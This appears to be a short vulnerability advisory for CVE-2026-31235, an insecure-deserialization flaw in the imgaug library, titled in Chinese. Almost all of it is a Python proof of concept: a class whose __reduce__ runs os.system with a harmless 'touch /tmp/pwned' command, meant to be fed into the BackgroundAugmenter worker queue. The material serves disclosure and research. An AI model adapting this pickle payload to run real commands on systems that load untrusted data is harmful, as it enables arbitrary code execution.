CVE-2026-31235 imgaug库不安全反序列化漏洞

import pickle import os # Define a malicious class that executes code on deserialization class MaliciousPayload: def __reduce__(self): # Command to execute: creating a file as proof of concept # Change 'touch /tmp/pwned' to 'calc.exe' for Windows proof return (os.system, ('touch /tmp/pwned',)) # Serialize the payload malicious_data = pickle.dumps(MaliciousPayload()) # In a real attack scenario, this 'malicious_data' would be placed # into the multiprocessing queue consumed by imgaug.BackgroundAugmenter. # When the worker process calls pickle.loads() on the queue item, # the command 'touch /tmp/pwned' will be executed. print("[+] Malicious pickle payload generated.") print(f"[+] Payload length: {len(malicious_data)} bytes")